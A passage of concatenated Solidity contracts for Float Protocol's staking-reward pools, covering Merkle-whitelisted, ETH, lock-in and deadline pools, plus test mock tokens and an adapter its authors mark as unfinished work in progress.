_admin The default role controller for * @param _rewardDistribution The reward distributor (can change reward rate) * @param _whitelist The address of the deployed whitelist contract * @param _rewardToken The reward token to distribute * @param _stakingToken The staking token used to qualify for rewards * @param _maximumContribution The maximum contribution for this token (in the unit of the respective contract) */ constructor( address _admin, address _rewardDistribution, address _whitelist, address _rewardToken, address _stakingToken, uint256 _maximumContribution ) Phase2Pool(_admin, _rewardDistribution, _rewardToken, _stakingToken) { whitelist = IWhitelist(_whitelist); maximumContribution = _maximumContribution; } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256) public pure override(Phase2Pool, IStakingRewards) { revert( "Phase1Pool::stake: Cannot stake on Phase1Pool directly due to whitelist" ); } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- onlyWhitelisted ----- */ function stakeWithProof(uint256 amount, bytes32[] calldata proof) public override(IStakingRewardWhitelisted) onlyWhitelisted(proof) updateReward(msg.sender) { require( balanceOf(msg.sender).add(amount) <= maximumContribution, "Phase1Pool::stake: Cannot exceed maximum contribution" ); super.stake(amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "synthetix/contracts/interfaces/IStakingRewards.sol"; interface IStakingRewardWhitelisted is IStakingRewards { function stakeWithProof(uint256 amount, bytes32[] calldata proof) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import '@openzeppelin/contracts/GSN/Context.sol'; import './interfaces/IWhitelist.sol'; abstract contract Whitelisted is Context { IWhitelist public whitelist; modifier onlyWhitelisted(bytes32[] calldata proof) { require( whitelist.whitelisted(_msgSender(), proof), "Whitelisted::onlyWhitelisted: Caller is not whitelisted / proof invalid" ); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.2; interface IWhitelist { // Views function root() external view returns (bytes32); function uri() external view returns (string memory); function whitelisted(address account, bytes32[] memory proof) external view returns (bool); // Mutative function updateWhitelist(bytes32 _root, string memory _uri) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "./interfaces/IWhitelist.sol"; contract MerkleWhitelist is IWhitelist, Context, AccessControl { /* ========== CONSTANTS ========== */ bytes32 public constant WHITELISTER_ROLE = keccak256("WHITELISTER_ROLE"); /* ========== STATE VARIABLES ========== */ bytes32 public merkleRoot; string public sourceUri; /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new MerkleWhitelist * @param _admin The default role controller and whitelister for the contract. * @param _root The default merkleRoot. * @param _uri The link to the full whitelist. */ constructor( address _admin, bytes32 _root, string memory _uri ) { merkleRoot = _root; sourceUri = _uri; _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(WHITELISTER_ROLE, _admin); } /* ========== EVENTS ========== */ event UpdatedWhitelist(bytes32 root, string uri); /* ========== VIEWS ========== */ function root() external view override(IWhitelist) returns (bytes32) { return merkleRoot; } function uri() external view override(IWhitelist) returns (string memory) { return sourceUri; } function whitelisted(address account, bytes32[] memory proof) public view override(IWhitelist) returns (bool) { // Need to include bytes1(0x00) in order to prevent pre-image attack. bytes32 leafHash = keccak256(abi.encodePacked(bytes1(0x00), account)); return checkProof(merkleRoot, proof, leafHash); } /* ========== PURE ========== */ function checkProof( bytes32 _root, bytes32[] memory _proof, bytes32 _leaf ) internal pure returns (bool) { bytes32 computedHash = _leaf; for (uint256 i = 0; i < _proof.length; i++) { bytes32 proofElement = _proof[i]; if (computedHash < proofElement) { computedHash = keccak256( abi.encodePacked(bytes1(0x01), computedHash, proofElement) ); } else { computedHash = keccak256( abi.encodePacked(bytes1(0x01), proofElement, computedHash) ); } } return computedHash == _root; } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- WHITELISTER_ROLE ----- */ function updateWhitelist(bytes32 root_, string memory uri_) public override(IWhitelist) { require( hasRole(WHITELISTER_ROLE, _msgSender()), "MerkleWhitelist::updateWhitelist: only whitelister may update the whitelist" ); merkleRoot = root_; sourceUri = uri_; emit UpdatedWhitelist(merkleRoot, sourceUri); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Pausable.sol"; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * This has an open mint functionality */ contract TokenMock is Context, AccessControl, ERC20Burnable, ERC20Pausable { bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor( address _admin, string memory _name, string memory _symbol, uint8 _decimals ) ERC20(_name, _symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(PAUSER_ROLE, _admin); _setupDecimals(_decimals); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * */ function mint(address to, uint256 amount) external virtual { _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() external virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "TokenMock/PauserRole"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() external virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "TokenMock/PauserRole"); _unpause(); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../Recoverable.sol"; contract RecoverableHarness is Recoverable { constructor(address governance) { _setupRole(RECOVER_ROLE, governance); } receive() external payable { // Blindly accept ETH. } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./RewardDistributionRecipient.sol"; import "./interfaces/IETHStakingRewards.sol"; /** * @title Phase 2 BANK Reward Pool for Float Protocol, specifically for ETH. * @notice This contract is used to reward `rewardToken` when ETH is staked. */ contract ETHPhase2Pool is IETHStakingRewards, Context, AccessControl, RewardDistributionRecipient, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== CONSTANTS ========== */ uint256 public constant DURATION = 7 days; bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE"); /* ========== STATE VARIABLES ========== */ IERC20 public rewardToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new Phase2Pool for ETH * @param _admin The default role controller for * @param _rewardDistribution The reward distributor (can change reward rate) * @param _rewardToken The reward token to distribute */ constructor( address _admin, address _rewardDistribution, address _rewardToken ) RewardDistributionRecipient(_admin) { rewardDistribution = _rewardDistribution; rewardToken = IERC20(_rewardToken); _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(RECOVER_ROLE, _admin); } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event Recovered(address token, uint256 amount); /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== VIEWS ========== */ function totalSupply() public view override(IETHStakingRewards) returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override(IETHStakingRewards) returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override(IETHStakingRewards) returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view override(IETHStakingRewards) returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view override(IETHStakingRewards) returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view override(IETHStakingRewards) returns (uint256) { return rewardRate.mul(DURATION); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @dev Fallback, `msg.value` of ETH sent to this contract grants caller account a matching stake in contract. * Emits {Staked} event to reflect this. */ receive() external payable { stake(msg.value); } function stake(uint256 amount) public payable virtual override(IETHStakingRewards) updateReward(msg.sender) { require(amount > 0, "ETHPhase2Pool/ZeroStake"); require(amount == msg.value, "ETHPhase2Pool/IncorrectEth"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override(IETHStakingRewards) updateReward(msg.sender) { require(amount > 0, "ETHPhase2Pool/ZeroWithdraw"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); emit Withdrawn(msg.sender, amount); (bool success, ) = msg.sender.call{value: amount}(""); require(success, "ETHPhase2Pool/EthTransferFail"); } function exit() external override(IETHStakingRewards) { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public virtual override(IETHStakingRewards) updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- Reward Distributor ----- */ /** * @notice Should be called after the amount of reward tokens has been sent to the contract. Reward should be divisible by duration. * @param reward number of tokens to be distributed over the duration. */ function notifyRewardAmount(uint256 reward) external override onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure provided reward amount is not more than the balance in the contract. // Keeps reward rate within the right range to prevent overflows in earned or rewardsPerToken // Reward + leftover < 1e18 uint256 balance = rewardToken.balanceOf(address(this)); require( rewardRate <= balance.div(DURATION), "ETHPhase2Pool/LowRewardBalance" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } /* ----- RECOVER_ROLE ----- */ /** * @notice Provide accidental token retrieval. * @dev Sourced from synthetix/contracts/StakingRewards.sol */ function recoverERC20(address tokenAddress, uint256 tokenAmount) external { require( hasRole(RECOVER_ROLE, _msgSender()), "ETHPhase2Pool/HasRecoverRole" ); require(tokenAddress != address(rewardToken), "ETHPhase2Pool/NotReward"); IERC20(tokenAddress).safeTransfer(_msgSender(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IETHStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external payable; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "synthetix/contracts/interfaces/IStakingRewards.sol"; import "./RewardDistributionRecipient.sol"; /** * @title Base Reward Pool for Float Protocol * @notice This contract is used to reward `rewardToken` when `stakeToken` is staked. * @dev The Pools are based on the original Synthetix rewards contract (https://etherscan.io/address/0xDCB6A51eA3CA5d3Fd898Fd6564757c7aAeC3ca92#code) developed by @k06a which is battled tested and widely used. * Alterations: * - duration set on constructor (immutable) * - Internal properties rather than private * - Add virtual marker to functions * - Change stake / withdraw to external and provide internal equivalents * - Change require messages to match convention * - Add hooks for _beforeWithdraw and _beforeStake * - Emit events before external calls in line with best practices. */ abstract contract BasePool is IStakingRewards, AccessControl, RewardDistributionRecipient { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== CONSTANTS ========== */ bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE"); uint256 public immutable duration; /* ========== STATE VARIABLES ========== */ IERC20 public rewardToken; IERC20 public stakeToken; uint256 public periodFinish; uint256 public rewardRate; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 internal _totalSupply; mapping(address => uint256) internal _balances; /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new BasePool * @param _admin The default role controller * @param _rewardDistribution The reward distributor (can change reward rate) * @param _rewardToken The reward token to distribute * @param _stakingToken The staking token used to qualify for rewards */ constructor( address _admin, address _rewardDistribution, address _rewardToken, address _stakingToken, uint256 _duration ) RewardDistributionRecipient(_admin) { rewardDistribution = _rewardDistribution; rewardToken = IERC20(_rewardToken); stakeToken = IERC20(_stakingToken); duration = _duration; _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(RECOVER_ROLE, _admin); } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event Recovered(address token, uint256 amount); /* ========== MODIFIERS ========== */ modifier updateReward(address account) virtual { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== VIEWS ========== */ /** * @notice The total reward producing staked supply (total quantity to distribute) */ function totalSupply() public view virtual override(IStakingRewards) returns (uint256) { return _totalSupply; } /** * @notice The total reward producing balance of the account. */ function balanceOf(address account) public view virtual override(IStakingRewards) returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view virtual override(IStakingRewards) returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view virtual override(IStakingRewards) returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view virtual override(IStakingRewards) returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view override(IStakingRewards) returns (uint256) { return rewardRate.mul(duration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external virtual override(IStakingRewards) updateReward(msg.sender) { require(amount > 0, "BasePool/NonZeroStake"); _stake(msg.sender, msg.sender, amount); } function withdraw(uint256 amount) external virtual override(IStakingRewards) updateReward(msg.sender) { require(amount > 0, "BasePool/NonZeroWithdraw"); _withdraw(msg.sender, amount); } /** * @notice Exit the pool, taking any rewards due and staked */ function exit() external virtual override(IStakingRewards) updateReward(msg.sender) { _withdraw(msg.sender, _balances[msg.sender]); getReward(); } /** * @notice Retrieve any rewards due */ function getReward() public virtual override(IStakingRewards) updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; emit RewardPaid(msg.sender, reward); rewardToken.safeTransfer(msg.sender, reward); } } /** * @dev Stakes `amount` tokens from `staker` to `recipient`, increasing the total supply. * * Emits a {Staked} event. * * Requirements: * - `recipient` cannot be zero address. * - `staker` must have at least `amount` tokens * - `staker` must approve this contract for at least `amount` */ function _stake( address staker, address recipient, uint256 amount ) internal virtual { require(recipient != address(0), "BasePool/ZeroAddressS"); _beforeStake(staker, recipient, amount); _totalSupply = _totalSupply.add(amount); _balances[recipient] = _balances[recipient].add(amount); emit Staked(recipient, amount); stakeToken.safeTransferFrom(staker, address(this), amount); } /** * @dev Withdraws `amount` tokens from `account`, reducing the total supply. * * Emits a {Withdrawn} event. * * Requirements: * - `account` cannot be zero address. * - `account` must have at least `amount` staked. */ function _withdraw(address account, uint256 amount) internal virtual { require(account != address(0), "BasePool/ZeroAddressW"); _beforeWithdraw(account, amount); _balances[account] = _balances[account].sub( amount, "BasePool/WithdrawExceedsBalance" ); _totalSupply = _totalSupply.sub(amount); emit Withdrawn(account, amount); stakeToken.safeTransfer(account, amount); } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- Reward Distributor ----- */ /** * @notice Should be called after the amount of reward tokens has been sent to the contract. Reward should be divisible by duration. * @param reward number of tokens to be distributed over the duration. */ function notifyRewardAmount(uint256 reward) public virtual override onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(duration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(duration); } // Ensure provided reward amount is not more than the balance in the contract. // Keeps reward rate within the right range to prevent overflows in earned or rewardsPerToken // Reward + leftover < 1e18 uint256 balance = rewardToken.balanceOf(address(this)); require(rewardRate <= balance.div(duration), "BasePool/InsufficentBalance"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(duration); emit RewardAdded(reward); } /* ----- RECOVER_ROLE ----- */ /** * @notice Provide accidental token retrieval. * @dev Sourced from synthetix/contracts/StakingRewards.sol */ function recoverERC20(address tokenAddress, uint256 tokenAmount) external { require(hasRole(RECOVER_ROLE, _msgSender()), "BasePool/RecoverRole"); require(tokenAddress != address(stakeToken), "BasePool/NoRecoveryOfStake"); require( tokenAddress != address(rewardToken), "BasePool/NoRecoveryOfReward" ); emit Recovered(tokenAddress, tokenAmount); IERC20(tokenAddress).safeTransfer(_msgSender(), tokenAmount); } /* ========== HOOKS ========== */ /** * @dev Hook that is called before any staking of tokens. * * Calling conditions: * * - `amount` of ``staker``'s tokens will be staked into the pool * - `recipient` can withdraw. */ function _beforeStake( address staker, address recipient, uint256 amount ) internal virtual {} /** * @dev Hook that is called before any staking of tokens. * * Calling conditions: * * - `amount` of ``from``'s tokens will be withdrawn into the pool */ function _beforeWithdraw(address from, uint256 amount) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "./BasePool.sol"; import "./extensions/DeadlinePool.sol"; import "./extensions/LockInPool.sol"; /** * Phase 4a Pool - is a special ceremony pool that can only be joined within the window period and has a Lock in period for the tokens */ contract Phase4aPool is DeadlinePool, LockInPool { /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new BasePool * @param _admin The default role controller * @param _rewardDistribution The reward distributor (can change reward rate) * @param _rewardToken The reward token to distribute * @param _stakingToken The staking token used to qualify for rewards * @param _startWindow When ceremony starts * @param _endWindow When ceremony ends */ constructor( address _admin, address _rewardDistribution, address _rewardToken, address _stakingToken, uint256 _duration, uint256 _startWindow, uint256 _endWindow ) DeadlinePool( _admin, _rewardDistribution, _rewardToken, _stakingToken, _duration, _startWindow, _endWindow ) {} // COMPILER HINTS for overrides function _beforeStake( address staker, address recipient, uint256 amount ) internal virtual override(LockInPool, DeadlinePool) { super._beforeStake(staker, recipient, amount); } function _beforeWithdraw(address from, uint256 amount) internal virtual override(BasePool, LockInPool) { super._beforeWithdraw(from, amount); } function balanceOf(address account) public view virtual override(BasePool, LockInPool) returns (uint256) { return super.balanceOf(account); } function totalSupply() public view virtual override(BasePool, LockInPool) returns (uint256) { return super.totalSupply(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "../BasePool.sol"; import "../../lib/Windowed.sol"; /** * @notice Only allow staking before the deadline. */ abstract contract DeadlinePool is BasePool, Windowed { constructor( address _admin, address _rewardDistribution, address _rewardToken, address _stakingToken, uint256 _duration, uint256 _startWindow, uint256 _endWindow ) BasePool( _admin, _rewardDistribution, _rewardToken, _stakingToken, _duration ) Windowed(_startWindow, _endWindow) {} function _beforeStake( address staker, address recipient, uint256 amount ) internal virtual override(BasePool) inWindow { super._beforeStake(staker, recipient, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../BasePool.sol"; /** * Integrates a timelock of `LOCK_DURATION` on the Pool. * Can only withdraw from the pool if: * - not started * - or requested an unlock and waited the `LOCK_DURATION` * - or the rewards have finished for `REFILL_ALLOWANCE`. */ abstract contract LockInPool is BasePool { using SafeMath for uint256; uint256 private constant REFILL_ALLOWANCE = 2 hours; uint256 private constant LOCK_DURATION = 8 days; mapping(address => uint256) public unlocks; uint256 private _unlockingSupply; event Unlock(address indexed account); /* ========== VIEWS ========== */ /** * @notice The balance that is currently being unlocked * @param account The account we're interested in. */ function inLimbo(address account) public view returns (uint256) { if (unlocks[account] == 0) { return 0; } return super.balanceOf(account); } /// @inheritdoc BasePool function balanceOf(address account) public view virtual override(BasePool) returns (uint256) { if (unlocks[account] != 0) { return 0; } return super.balanceOf(account); } /// @inheritdoc BasePool function totalSupply() public view virtual override(BasePool) returns (uint256) { return super.totalSupply().sub(_unlockingSupply); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Request unlock of the token, removing this senders reward accural by: * - Setting balanceOf to return 0 (used for reward calculation) and adjusting total supply by amount unlocking. */ function unlock() external updateReward(msg.sender) { require(unlocks[msg.sender] == 0, "LockIn/UnlockOnce"); _unlockingSupply = _unlockingSupply.add(balanceOf(msg.sender)); unlocks[msg.sender] = block.timestamp; emit Unlock(msg.sender); } /* ========== HOOKS ========== */ /** * @notice Handle unlocks when staking, resets lock if was unlocking */ function _beforeStake( address staker, address recipient, uint256 amount ) internal virtual override(BasePool) { super._beforeStake(staker, recipient, amount); if (unlocks[recipient] != 0) { // If we are resetting an unlock, reset the unlockingSupply _unlockingSupply = _unlockingSupply.sub(inLimbo(recipient)); unlocks[recipient] = 0; } } /** * @dev Prevent withdrawal if: * - has started (i.e. rewards have entered the pool) * - before finished (+ allowance) * - not unlocked `LOCK_DURATION` ago * * - reset the unlock, so you can re-enter. */ function _beforeWithdraw(address recipient, uint256 amount) internal virtual override(BasePool) { super._beforeWithdraw(recipient, amount); // Before rewards have been added / after + `REFILL` bool releaseWithoutLock = block.timestamp >= periodFinish.add(REFILL_ALLOWANCE); // A lock has been requested and the `LOCK_DURATION` has passed. bool releaseWithLock = (unlocks[recipient] != 0) && (unlocks[recipient] <= block.timestamp.sub(LOCK_DURATION)); require(releaseWithoutLock || releaseWithLock, "LockIn/NotReleased"); if (unlocks[recipient] != 0) { // Reduce unlocking supply (so we don't keep discounting total supply when // it is reduced). Amount will be validated in withdraw proper. _unlockingSupply = _unlockingSupply.sub(amount); } } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "./extensions/LockInPool.sol"; /** * Phase4Pool that acts as a SNX Reward Contract, with an 8 day token lock. */ contract Phase4Pool is LockInPool { /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new Phase4Pool * @param _admin The default role controller * @param _rewardDistribution The reward distributor (can change reward rate) * @param _rewardToken The reward token to distribute * @param _stakingToken The staking token used to qualify for rewards * @param _duration Duration for token */ constructor( address _admin, address _rewardDistribution, address _rewardToken, address _stakingToken, uint256 _duration ) BasePool( _admin, _rewardDistribution, _rewardToken, _stakingToken, _duration ) {} } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/IMasterChefRewarder.sol"; import "../BasePool.sol"; // !!!! WIP !!!!! // This code doesn't work. You can deposit via sushi, withdraw through normal functions. // Must separate the balances and only keep them the same for the rewards. /** * Provides adapters to allow this reward contract to be used as a MASTERCHEF V2 Rewards contract */ abstract contract MasterChefV2Pool is BasePool, IMasterChefRewarder { using SafeMath for uint256; address private immutable masterchefV2; /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new MasterChefV2Pool * @param _admin The default role controller * @param _rewardDistribution The reward distributor (can change reward rate) * @param _rewardToken The reward token to distribute * @param _stakingToken The staking token used to qualify for rewards * @param _duration The duration for each reward distribution * @param _masterchefv2 The trusted masterchef contract */ constructor( address _admin, address _rewardDistribution, address _rewardToken, address _stakingToken, uint256 _duration, address _masterchefv2 ) BasePool( _admin, _rewardDistribution, _rewardToken, _stakingToken, _duration ) { masterchefV2 = _masterchefv2; } /* ========== MODIFIERS ========== */ modifier onlyMCV2 { require(msg.sender == masterchefV2, "MasterChefV2Pool/OnlyMCV2"); _; } /* ========== VIEWS ========== */ function pendingTokens( uint256, address user, uint256 ) external view override(IMasterChefRewarder) returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) { IERC20[] memory _rewardTokens = new IERC20[](1); _rewardTokens[0] = (rewardToken); uint256[] memory _rewardAmounts = new uint256[](1); _rewardAmounts[0] = earned(user); return (_rewardTokens, _rewardAmounts); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * Adds to the internal balance record, */ function onSushiReward( uint256, address _user, address, uint256, uint256 newLpAmount ) external override(IMasterChefRewarder) onlyMCV2 updateReward(_user) { uint256 internalBalance = _balances[_user]; if (internalBalance > newLpAmount) { // _withdrawWithoutPush(_user, internalBalance.sub(newLpAmount)); } else if (internalBalance < newLpAmount) { // _stakeWithoutPull(_user, _user, newLpAmount.sub(internalBalance)); } } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IMasterChefRewarder { function onSushiReward( uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount ) external; function pendingTokens( uint256 pid, address user, uint256 sushiAmount ) external view returns (IERC20[] memory, uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "../interfaces/ISupplyControlledERC20.sol"; import "hardhat/console.sol"; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * This has an open mint functionality */ // ISupplyControlledERC20, contract SupplyControlledTokenMock is AccessControl, ERC20Burnable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor( address _admin, string memory _name, string memory _symbol, uint8 _decimals ) ERC20(_name, _symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(MINTER_ROLE, _admin); _setupDecimals(_decimals); } /** * @dev Creates `amount` new tokens for `to`. * * 